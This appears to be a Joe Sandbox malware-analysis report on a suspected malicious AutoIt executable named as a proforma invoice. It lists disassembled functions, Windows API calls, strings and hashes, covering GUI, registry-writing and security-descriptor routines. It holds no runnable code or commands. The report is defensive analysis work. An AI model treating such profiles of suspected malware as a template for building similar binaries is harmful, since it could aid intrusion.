String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 62b580ec668059d5313f62d8e38df14baae1880fbce13f95b4fe720352ce83ed
Instruction ID: 3be0772c88ae4cbd4fa5c33c0aee895f9575c92559e2a08e1ed82f488f966154
Opcode Fuzzy Hash: 62b580ec668059d5313f62d8e38df14baae1880fbce13f95b4fe720352ce83ed
Instruction Fuzzy Hash: C661EE307411059FCF04DF26C981E697BA0AB94385F62817BE806AB691CB3DED439B5E

Function 004B73E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 004B7421
SetTextColor.GDI32(?,?), ref: 004B7425
GetSysColorBrush.USER32(0000000F), ref: 004B743B
GetSysColor.USER32(0000000F), ref: 004B7446
CreateSolidBrush.GDI32(?), ref: 004B744B
GetSysColor.USER32(00000011), ref: 004B7463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 004B7471
SelectObject.GDI32(?,00000000), ref: 004B7482
SetBkColor.GDI32(?,00000000), ref: 004B748B
SelectObject.GDI32(?,?), ref: 004B7498
InflateRect.USER32(?,000000FF,000000FF), ref: 004B74B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004B74CE
GetWindowLongW.USER32(00000000,000000F0), ref: 004B74DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 004B752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 004B7554
InflateRect.USER32(?,000000FD,000000FD), ref: 004B7572
DrawFocusRect.USER32(?,?), ref: 004B757D
GetSysColor.USER32(00000011), ref: 004B758E
SetTextColor.GDI32(?,00000000), ref: 004B7596
DrawTextW.USER32(?,004B70F5,000000FF,?,00000000), ref: 004B75A8
SelectObject.GDI32(?,?), ref: 004B75BF
DeleteObject.GDI32(?), ref: 004B75CA
SelectObject.GDI32(?,?), ref: 004B75D0
DeleteObject.GDI32(?), ref: 004B75D5
SetTextColor.GDI32(?,?), ref: 004B75DB
SetBkColor.GDI32(?,?), ref: 004B75E5

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 6b7c26b2f71de72c1e9c939967ce1386cc71801006247687e6deb49cd46e81b5
Instruction ID: 74fc0b6bdd237aa981051aebf6f5dc048ee0a6bcd570852a7972c740bf6a41c4
Opcode Fuzzy Hash: 6b7c26b2f71de72c1e9c939967ce1386cc71801006247687e6deb49cd46e81b5
Instruction Fuzzy Hash: 81613F72904218BFDF119FA8DC89EEE7B79EB48320F114225F915BB2A1D67499408FA4

Function 004B0FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 004B1128
GetDesktopWindow.USER32 ref: 004B113D
GetWindowRect.USER32(00000000), ref: 004B1144
GetWindowLongW.USER32(?,000000F0), ref: 004B1199
DestroyWindow.USER32(?), ref: 004B11B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 004B11ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 004B120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 004B121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 004B1232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 004B1245
IsWindowVisible.USER32(00000000), ref: 004B12A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 004B12BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 004B12D0
GetWindowRect.USER32(00000000,?), ref: 004B12E8
MonitorFromPoint.USER32(?,?,00000002), ref: 004B130E
GetMonitorInfoW.USER32(00000000,?), ref: 004B1328
CopyRect.USER32(?,?), ref: 004B133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 004B13AA

Strings

(, xrefs: 004B131B
0, xrefs: 004B10D3
tooltips_class32, xrefs: 004B11E6

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 1a05c03aa6f20ce9618bea750fa702b84789e0ed0a6a168a07bf3f9fd4e57989
Instruction ID: a4e98fad8e35237037006e809abbd69dd6e6bc9080eea6c320b77a6a6f299022
Opcode Fuzzy Hash: 1a05c03aa6f20ce9618bea750fa702b84789e0ed0a6a168a07bf3f9fd4e57989
Instruction Fuzzy Hash: 6EB1BE71604351AFD704DF65C884BABBBE4FF88344F40891EF9999B2A1D734E844CBA9

Function 004B0241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 004B02E5
_wcslen.LIBCMT ref: 004B031F
_wcslen.LIBCMT ref: 004B0389
_wcslen.LIBCMT ref: 004B03F1
_wcslen.LIBCMT ref: 004B0475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 004B04C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 004B0504

Part of subcall function 0043F9F2: _wcslen.LIBCMT ref: 0043F9FD

Part of subcall function 0048223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00482258
Part of subcall function 0048223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0048228A

Strings

GETTEXT, xrefs: 004B03EC, 004B0407
ISSELECTED, xrefs: 004B04DD
DESELECT, xrefs: 004B059C
SELECT, xrefs: 004B0548
GETITEMCOUNT, xrefs: 004B0316, 004B0337
SELECTINVERT, xrefs: 004B057E
FINDITEM, xrefs: 004B0627
GETSUBITEMCOUNT, xrefs: 004B0384, 004B039F
SELECTALL, xrefs: 004B0515
VIEWCHANGE, xrefs: 004B0675
GETSELECTED, xrefs: 004B05E1
SELECTCLEAR, xrefs: 004B052D
GETSELECTEDCOUNT, xrefs: 004B0470, 004B048B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: 547f275b8f30601c4c653307d3e1be0b70c6dbd6b898898cf9d860ce4021a9d4
Instruction ID: 2800f07b0096daf442d2749d5fe708be822923b90cc2dd12262c3b079a751b43
Opcode Fuzzy Hash: 547f275b8f30601c4c653307d3e1be0b70c6dbd6b898898cf9d860ce4021a9d4
Instruction Fuzzy Hash: E8E1C0312083009FC714DF25C55096BB3E5BF98319F14495EF8969B3A1DB38ED46CBAA

Function 00438891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00438968
GetSystemMetrics.USER32(00000007), ref: 00438970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0043899B
GetSystemMetrics.USER32(00000008), ref: 004389A3
GetSystemMetrics.USER32(00000004), ref: 004389C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 004389E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 004389F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00438A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00438A3C
GetClientRect.USER32(00000000,000000FF), ref: 00438A5A
GetStockObject.GDI32(00000011), ref: 00438A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00438A81

Part of subcall function 0043912D: GetCursorPos.USER32(?), ref: 00439141
Part of subcall function 0043912D: ScreenToClient.USER32(00000000,?), ref: 0043915E
Part of subcall function 0043912D: GetAsyncKeyState.USER32(00000001), ref: 00439183
Part of subcall function 0043912D: GetAsyncKeyState.USER32(00000002), ref: 0043919D

SetTimer.USER32(00000000,00000000,00000028,004390FC), ref: 00438AA8

Strings

AutoIt v3 GUI, xrefs: 00438A20

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 2124167d0611b609b000f1a093b626eb4eef81bacb17c3bcdb27a95a3798bad7
Instruction ID: f65a77e88e7cd0eb0baa52998076cacd152eeeee719a6aba037b04c01f268344
Opcode Fuzzy Hash: 2124167d0611b609b000f1a093b626eb4eef81bacb17c3bcdb27a95a3798bad7
Instruction Fuzzy Hash: CBB16F71A00209EFDB14DF68CD85BEE7BB5FB48314F11422AFA15A7290DB78A841CF59

Function 00480D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004810F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00481114
Part of subcall function 004810F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00480B9B,?,?,?), ref: 00481120
Part of subcall function 004810F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00480B9B,?,?,?), ref: 0048112F
Part of subcall function 004810F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00480B9B,?,?,?), ref: 00481136
Part of subcall function 004810F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0048114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00480DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00480E29
GetLengthSid.ADVAPI32(?), ref: 00480E40
GetAce.ADVAPI32(?,00000000,?), ref: 00480E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00480E96
GetLengthSid.ADVAPI32(?), ref: 00480EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00480EB5
HeapAlloc.KERNEL32(00000000), ref: 00480EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00480EDD
CopySid.ADVAPI32(00000000), ref: 00480EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00480F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00480F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00480F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00480F6E
HeapFree.KERNEL32(00000000), ref: 00480F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00480F7E
HeapFree.KERNEL32(00000000), ref: 00480F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00480F8E
HeapFree.KERNEL32(00000000), ref: 00480F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00480FA1
HeapFree.KERNEL32(00000000), ref: 00480FA8

Part of subcall function 00481193: GetProcessHeap.KERNEL32(00000008,00480BB1,?,00000000,?,00480BB1,?), ref: 004811A1
Part of subcall function 00481193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00480BB1,?), ref: 004811A8
Part of subcall function 00481193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00480BB1,?), ref: 004811B7

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 26beebd4249f8551ee0fc1b02bb5b5d333688bc19d5dc53ef0711207723c4f29
Instruction ID: 7314773a99481a03dfdb21cb5c818cb302a3d089bb1d577add0d7a1b4033c568
Opcode Fuzzy Hash: 26beebd4249f8551ee0fc1b02bb5b5d333688bc19d5dc53ef0711207723c4f29
Instruction Fuzzy Hash: 5E715171900209ABDF60AFA5DC84FAFBBB8BF05340F048626FA15F6251D775D909CB64

Function 004AC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004AC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,004BCC08,00000000,?,00000000,?,?), ref: 004AC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 004AC5A4
_wcslen.LIBCMT ref: 004AC5F4
_wcslen.LIBCMT ref: 004AC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 004AC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 004AC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 004AC84D
RegCloseKey.ADVAPI32(?), ref: 004AC881
RegCloseKey.ADVAPI32(00000000), ref: 004AC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 004AC960

Strings

REG_BINARY, xrefs: 004AC913
REG_DWORD, xrefs: 004AC804
REG_EXPAND_SZ, xrefs: 004AC5CD
REG_MULTI_SZ, xrefs: 004AC6F5
REG_SZ, xrefs: 004AC644
REG_QWORD, xrefs: 004AC8C3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 01f3fdcfcbc1df2726f1c7ab402333edec804d6753a4f34558696e5c7c4db27d
Instruction ID: 145602c1169b6b95f9560ed763782a1d9f08b9e7409ca1cc86a2cb883f20e4eb
Opcode Fuzzy Hash: 01f3fdcfcbc1df2726f1c7ab402333edec804d6753a4f34558696e5c7c4db27d
Instruction Fuzzy Hash: 4B128D357042119FD714DF15D881A2AB7E5FF89718F04885EF84A9B3A2DB39EC41CB89

Function 004B091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 004B09C6
_wcslen.LIBCMT ref: 004B0A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 004B0A54
_wcslen.LIBCMT ref: 004B0A8A
_wcslen.LIBCMT ref: 004B0B06
_wcslen.LIBCMT ref: 004B0B81

Part of subcall function 0043F9F2: _wcslen.LIBCMT ref: 0043F9FD

Part of subcall function 00482BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00482BFA

Strings

GETTEXT, xrefs: 004B0C97
EXPAND, xrefs: 004B0BF8
EXISTS, xrefs: 004B0B7C, 004B0B97
ISCHECKED, xrefs: 004B0CE1
GETSELECTED, xrefs: 004B0C4E
UNCHECK, xrefs: 004B0D3E
SELECT, xrefs: 004B0D11
GETITEMCOUNT, xrefs: 004B0C1E
COLLAPSE, xrefs: 004B0B01, 004B0B1C
CHECK, xrefs: 004B0A85, 004B0AA0
GETTOTALCOUNT, xrefs: 004B09F2, 004B0A17

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 8c5d8bc9aea3c7264ae555fd1ea3519b6f35e35de375f58cccb0d941b35c8f28
Instruction ID: 709934c014fb4e8b8141040f935ad54a4165f599a843acaca959e652f834624b
Opcode Fuzzy Hash: 8c5d8bc9aea3c7264ae555fd1ea3519b6f35e35de375f58cccb0d941b35c8f28
Instruction Fuzzy Hash: 99E1DD312083018FC714EF26C45096BB7E1BF98359F50895EF8969B3A2D738ED46CB99

Function 004AC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,004AB6AE,?,?), ref: 004AC9B5
_wcslen.LIBCMT ref: 004AC9F1
_wcslen.LIBCMT ref: 004ACA68
_wcslen.LIBCMT ref: 004ACA9E
_wcslen.LIBCMT ref: 004ACAF9
_wcslen.LIBCMT ref: 004ACB2F
_wcslen.LIBCMT ref: 004ACB7F

Strings

HKEY_LOCAL_MACHINE, xrefs: 004ACA62, 004ACA67
HKEY_USERS, xrefs: 004ACBDF
HKEY_CURRENT_USER, xrefs: 004ACBBD
HKU, xrefs: 004ACBF0
HKLM, xrefs: 004ACA98, 004ACA9D
HKEY_CURRENT_CONFIG, xrefs: 004ACB79, 004ACB7E
HKEY_CLASSES_ROOT, xrefs: 004ACAF3, 004ACAF8
HKCR, xrefs: 004ACB29, 004ACB2E
HKCU, xrefs: 004ACBCE
HKCC, xrefs: 004ACBAC

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 2ca861f143503a62c298000f60ce7fe07ef78215e0ee48f3b29ee0255ebbd4fc
Instruction ID: f18ad4826281752303e58b2062f8f9ffd8030a4ae2a09a03ff2f7546b682009a
Opcode Fuzzy Hash: 2ca861f143503a62c298000f60ce7fe07ef78215e0ee48f3b29ee0255ebbd4fc
Instruction Fuzzy Hash: 5471173260016A8BCB50DE79D8C16BB3391AFB6764F11412BF8569B384E63DDD45C3AC

Function 004B833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004B835A
_wcslen.LIBCMT ref: 004B836E
_wcslen.LIBCMT ref: 004B8391
_wcslen.LIBCMT ref: 004B83B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 004B83F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,004B5BF2), ref: 004B844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 004B8487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 004B84CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 004B8501
FreeLibrary.KERNEL32(?), ref: 004B850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 004B851D
DestroyIcon.USER32(?,?,?,?,?,004B5BF2), ref: 004B852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 004B8549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 004B8555

Strings

.icl, xrefs: 004B8368
.exe, xrefs: 004B8388
.dll, xrefs: 004B83AB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: f94cb71c4561b8c6923c6fefcbc501b4b8d4fdb3e413577fc832a8f856eb4163
Instruction ID: 956b5ed954cf3824248715d6e7e067febd0a6c6cd0de1c1fbb94d304292439e1
Opcode Fuzzy Hash: f94cb71c4561b8c6923c6fefcbc501b4b8d4fdb3e413577fc832a8f856eb4163
Instruction Fuzzy Hash: B861CF71500215BAEB249F65CC81BFF77ACBB04721F10461AF815E61D1EF78A981DBA8

Function 00427778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#comments-start, xrefs: 0042785F, 004278B1
Cannot parse #include, xrefs: 00465279
#comments-end, xrefs: 004278D9
#include-once, xrefs: 0042782F
", xrefs: 00465153
Bad directive syntax error, xrefs: 0046519A
#include, xrefs: 00427847
Unterminated group of comments, xrefs: 0046528C
#cs, xrefs: 00427873, 004278C5
', xrefs: 00465169
#notrayicon, xrefs: 004277E7
#requireadmin, xrefs: 004277FF
#pragma compile, xrefs: 004277D3
#OnAutoItStartRegister, xrefs: 00427817
#ce, xrefs: 004278ED

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 97a40a9c70ec95b3e3f77ac278dec33ba47ceae689745788b3bda56f23ad344d
Instruction ID: c2f803d8f3adfb8565e28567489a8e4b90af71f628b535c857780b886b66bdbc
Opcode Fuzzy Hash: 97a40a9c70ec95b3e3f77ac278dec33ba47ceae689745788b3bda56f23ad344d
Instruction Fuzzy Hash: AC81F771B04215ABDB10AF62EC42FAF3764AF55304F54402BF904AA292EB7CD905C7AE

Function 00485A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00485A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00485A40
SetWindowTextW.USER32(?,?), ref: 00485A57
GetDlgItem.USER32(?,000003EA), ref: 00485A6C
SetWindowTextW.USER32(00000000,?), ref: 00485A72
GetDlgItem.USER32(?,000003E9), ref: 00485A82
SetWindowTextW.USER32(00000000,?), ref: 00485A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00485AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00485AC3
GetWindowRect.USER32(?,?), ref: 00485ACC
_wcslen.LIBCMT ref: 00485B33
SetWindowTextW.USER32(?,?), ref: 00485B6F
GetDesktopWindow.USER32 ref: 00485B75
GetWindowRect.USER32(00000000), ref: 00485B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00485BD3
GetClientRect.USER32(?,?), ref: 00485BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00485C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00485C2F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
